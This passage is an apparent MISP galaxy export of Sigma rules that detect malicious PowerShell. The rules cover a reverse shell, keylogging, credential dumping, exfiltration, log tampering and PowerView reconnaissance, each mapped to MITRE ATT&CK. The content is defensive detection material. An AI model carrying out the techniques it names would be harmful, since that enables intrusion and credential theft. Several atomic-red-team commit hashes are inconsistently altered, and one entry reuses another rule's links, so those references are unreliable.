<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdc3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdc3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml</a></td>
</tr>
</tbody>
</table>
Powershell MsXml COM Object

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.

The tag is: *misp-galaxy:.sigma-rules*="Powershell MsXml COM Object"

View relationships graph

Powershell MsXml COM Object has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

**Table 9020. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html">https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)">https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)</a></td>
</tr>
</tbody>
</table>

Powershell Detect Virtualization Environment

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

The tag is: *misp-galaxy:.sigma-rules*="Powershell Detect Virtualization Environment"

View relationships graph

Powershell Detect Virtualization Environment has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

**Table 9021. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md</a></td>
</tr>
</tbody>
</table>
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell"`

View relationships graph

Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Potential PowerShell Obfuscation Using Character Join

Detects specific techniques often seen used inside of PowerShell scripts to obfuscate Alias creation

The tag is: `misp-galaxy:sigma-rules="Potential PowerShell Obfuscation Using Character Join"`

View relationships graph

Potential PowerShell Obfuscation Using Character Join has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
Malicious PowerView PowerShell Commandlets

Detects Commandlet names from PowerView of PowerSploit exploitation framework.

The tag is: misp-galaxy:sigma-rules="Malicious PowerView PowerShell Commandlets"

View relationships graph

Malicious PowerView PowerShell Commandlets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9024. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2020/10/08/ryuks-return">https://thedfirreport.com/2020/10/08/ryuks-return</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=2277">https://adsecurity.org/?p=2277</a></td>
</tr>
<tr>
<td><a href="https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon">https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Create Local User

Detects creation of a local user via PowerShell

The tag is: misp-galaxy:sigma-rules="PowerShell Create Local User"

View relationships graph

PowerShell Create Local User has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 9025. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md</a></td>
</tr>
</tbody>
</table>

5862
PSAsyncShell - Asynchronous TCP Reverse Shell

Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell

The tag is: misp-galaxy: sigma-rules="PSAsyncShell - Asynchronous TCP Reverse Shell"

View relationships graph

PSAsyncShell - Asynchronous TCP Reverse Shell has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9026. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/JoelGMSec/PSAsyncShell">https://github.com/JoelGMSec/PSAsyncShell</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_psasyncshell.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_psasyncshell.yml</a></td>
</tr>
</tbody>
</table>

Powershell Exfiltration Over SMTP

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

The tag is: misp-galaxy: sigma-rules="Powershell Exfiltration Over SMTP"

View relationships graph

Powershell Exfiltration Over SMTP has relationships with:


Table 9027. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol--smtp">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol--smtp</a></td>
</tr>
<tr>
<td><a href="https://www.ietf.org/rfc/rfc2821.txt">https://www.ietf.org/rfc/rfc2821.txt</a></td>
</tr>
</tbody>
</table>
Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell

Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file

The tag is: misp-galaxy:sigma-rules="Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell"

View relationships graph

Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell has relationships with:


Table 9028. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_computer_discovery_get_adcomputer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_computer_discovery_get_adcomputer.yml</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via PowerShell User Profile Using Add-Content

Detects calls to "Add-Content" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via PowerShell User Profile Using Add-Content"

View relationships graph

Potential Persistence Via PowerShell User Profile Using Add-Content has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"
Abuse of Service Permissions to Hide Services Via Set-Service - PS

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

The tag is: misp-galaxy: sigma-rules="Abuse of Service Permissions to Hide Services Via Set-Service - PS"

View relationships graph

Abuse of Service Permissions to Hide Services Via Set-Service - PS has relationships with:

• related-to: misp-galaxy: mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Powershell File and Directory Discovery

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: misp-galaxy: sigma-rules="Powershell File and Directory Discovery"

View relationships graph

Powershell File and Directory Discovery has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 9031. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_file_and_directory_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_file_and_directory_discovery.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious PowerShell Invocations - Generic**

Detects suspicious PowerShell invocation command parameters

The tag is: misp-galaxy: sigma-rules=“Suspicious PowerShell Invocations - Generic”

View relationships graph

Suspicious PowerShell Invocations - Generic has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9032. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml</a></td>
</tr>
</tbody>
</table>

**SyncAppvPublishingServer Execution to Bypass Powershell Restriction**

Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.

The tag is: misp-galaxy: sigma-rules=“SyncAppvPublishingServer Execution to Bypass Powershell Restriction”

View relationships graph

SyncAppvPublishingServer Execution to Bypass Powershell Restriction has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9033. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Automated Collection Command PowerShell

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

The tag is: `misp-galaxy:sigma-rules="Automated Collection Command PowerShell"`

View relationships graph

Automated Collection Command PowerShell has relationships with:


Table 9034. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd4c3742bfcf365fee2a9/atomics/T1119/T1119.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd4c3742bfcf365fee2a9/atomics/T1119/T1119.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml</a></td>
</tr>
</tbody>
</table>

Windows Firewall Profile Disabled

Detects when a user disables the Windows Firewall via a Profile to help evade defense.

The tag is: `misp-galaxy:sigma-rules="Windows Firewall Profile Disabled"`

View relationships graph

Windows Firewall Profile Disabled has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"

Table 9035. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://woshub.com/manage-windows-firewall-powershell/">http://woshub.com/manage-windows-firewall-powershell/</a></td>
</tr>
<tr>
<td><a href="https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell">https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell</a></td>
</tr>
</tbody>
</table>
Manipulation of User Computer or Group Security Principals Across AD

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain.

The tag is: `misp-galaxy:sigma-rules="Manipulation of User Computer or Group Security Principals Across AD"`

View relationships graph

Manipulation of User Computer or Group Security Principals Across AD has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002"` with estimative-language:likelihood-probability="almost-certain"

Table 9036. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd4c37d42b5f365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd4c37d42b5f365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml</a></td>
</tr>
</tbody>
</table>

Potential Data Exfiltration Via Audio File

Detects potential exfiltration attempt via audio file using PowerShell

The tag is: `misp-galaxy:sigma-rules="Potential Data Exfiltration Via Audio File"`

Table 9037. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/gtworek/PSBits/blob/e97cbbb173b31cbb4d37244d3412de0a114dacf/NoDLP/bin2wav.ps1">https://github.com/gtworek/PSBits/blob/e97cbbb173b31cbb4d37244d3412de0a114dacf/NoDLP/bin2wav.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_audio_exfiltration.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_audio_exfiltration.yml</a></td>
</tr>
</tbody>
</table>
Disable Powershell Command History

Detects scripts or commands that disabled the Powershell command history by removing psreadline module.

The tag is: *misp-galaxy:sigma-rules=*"Disable Powershell Command History"

View relationships graph

Disable Powershell Command History has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 9038. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/DissectMalware/status/1062879286749773824">https://twitter.com/DissectMalware/status/1062879286749773824</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml</a></td>
</tr>
</tbody>
</table>

Powershell Keylogging

Adversaries may log user keystrokes to intercept credentials as the user types them.

The tag is: *misp-galaxy:sigma-rules=*"Powershell Keylogging"

View relationships graph

Powershell Keylogging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

Table 9039. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml</a></td>
</tr>
</tbody>
</table>

Access to Browser Login Data

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so...
that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

The tag is: *misp-galaxy:sigma-rules*="Access to Browser Login Data"

**View relationships graph**

Access to Browser Login Data has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

### Table 9040. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccd3742bf365fee2a9/atomics/T1555.003/T1555.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccd3742bf365fee2a9/atomics/T1555.003/T1555.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml</a></td>
</tr>
</tbody>
</table>

### Suspicious PowerShell Mailbox Export to Share - PS

Detects usage of the powershell `New-MailboxExportRequest` Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations

The tag is: *misp-galaxy:sigma-rules*="Suspicious PowerShell Mailbox Export to Share - PS"

**Table 9041. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://youtu.be/5mqid-7zp8k?t=2481">https://youtu.be/5mqid-7zp8k?t=2481</a></td>
</tr>
<tr>
<td><a href="https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/">https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/</a></td>
</tr>
<tr>
<td><a href="https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1">https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1</a></td>
</tr>
</tbody>
</table>

### Import PowerShell Modules From Suspicious Directories

Detects powershell scripts that import modules from suspicious directories

The tag is: *misp-galaxy:sigma-rules*="Import PowerShell Modules From Suspicious Directories"

**View relationships graph**

Import PowerShell Modules From Suspicious Directories has relationships with:
Powershell Sensitive File Discovery

Detect adversaries enumerate sensitive files

The tag is: misp-galaxy:sigma-rules="Powershell Sensitive File Discovery"

View relationships graph

Powershell Sensitive File Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

PowerShell Script With File Hostname Resolving Capabilities

Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries.

The tag is: misp-galaxy:sigma-rules="PowerShell Script With File Hostname Resolving Capabilities"

View relationships graph

PowerShell Script With File Hostname Resolving Capabilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
Dump Credentials from Windows Credential Manager With PowerShell

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

The tag is: `misp-galaxy:sigma-rules="Dump Credentials from Windows Credential Manager With PowerShell"`

View relationships graph

Dump Credentials from Windows Credential Manager With PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"` with estimative-language:likelihood-probability="almost-certain"

Table 9045. Table References

Links

- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f91d4a62d3742bfcf365fee2a9/atomics/T1555/T1555.md
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml

Suspicious SSL Connection

Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.

The tag is: `misp-galaxy:sigma-rules="Suspicious SSL Connection"`

View relationships graph

Suspicious SSL Connection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573"` with estimative-language:likelihood-probability="almost-certain"

Table 9046. Table References

Links
Potential In-Memory Execution Using Reflection.Assembly

Ddetects usage of "Reflection.Assembly" load functions to dynamically load assemblies in memory.

The tag is: `misp-galaxy:sigma-rules="Potential In-Memory Execution Using Reflection.Assembly"`

View relationships graph

Potential In-Memory Execution Using Reflection.Assembly has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620"` with `estimative-language:likelihood-probability="almost-certain"

Table 9047. Table References

Links

- https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50

HackTool - WinPwn Execution - ScriptBlock

Detects scriptblock text keywords indicative of potential usage of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

The tag is: `misp-galaxy:sigma-rules="HackTool - WinPwn Execution - ScriptBlock"

View relationships graph

HackTool - WinPwn Execution - ScriptBlock has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046"` with `estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with `estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with `estimative-language:likelihood-probability="almost-certain"`
Suspicious Get-ADReplAccount

The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

The tag is: `misp-galaxy:sigma-rules="Suspicious Get-ADReplAccount"`

View relationships graph

Suspicious Get-ADReplAccount has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DCSync - T1003.006"` with estimative-language:likelihood-probability="almost-certain"
Disable of ETW Trace - Powershell

Detects usage of powershell cmdlets to disable or remove ETW trace sessions

The tag is: misp-galaxy:sigma-rules="Disable of ETW Trace - Powershell"

View relationships graph

Disable of ETW Trace - Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 9050. Table References

Links

https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml

Change PowerShell Policies to an Insecure Level - PowerShell

Detects use of Set-ExecutionPolicy to set insecure policies

The tag is: misp-galaxy:sigma-rules="Change PowerShell Policies to an Insecure Level - PowerShell"

View relationships graph

Change PowerShell Policies to an Insecure Level - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9051. Table References

Links

https://adsecurity.org/?p=2604
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1
DirectorySearcher PowerShell Exploitation

Enumerates Active Directory to determine computers that are joined to the domain

The tag is: misp-galaxy:sigma-rules="DirectorySearcher PowerShell Exploitation"

View relationships graph

DirectorySearcher PowerShell Exploitation has relationships with:


Table 9052. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Unblock-File

Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.

The tag is: misp-galaxy:sigma-rules="Suspicious Unblock-File"

View relationships graph

Suspicious Unblock-File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

Table 9053. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream</a></td>
</tr>
</tbody>
</table>
Powershell Suspicious Win32_PnPEntity

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.

The tag is: `misp-galaxy:sigma-rules="Powershell Suspicious Win32_PnPEntity"`

View relationships graph

Powershell Suspicious Win32_PnPEntity has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with estimative-language:likelihood-probability="almost-certain"

Table 9054. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml</a></td>
</tr>
</tbody>
</table>

Enumerate Credentials from Windows Credential Manager With PowerShell

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

The tag is: `misp-galaxy:sigma-rules="Enumerate Credentials from Windows Credential Manager With PowerShell"`

View relationships graph

Enumerate Credentials from Windows Credential Manager With PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"` with estimative-language:likelihood-probability="almost-certain"

Table 9055. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml</a></td>
</tr>
</tbody>
</table>
Invoke-Obfuscation Via Use Rundll32 - PowerShell

Detects Obfuscated Powershell via use Rundll32 in Scripts

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Rundll32 - PowerShell"

View relationships graph

Invoke-Obfuscation Via Use Rundll32 - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9056. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
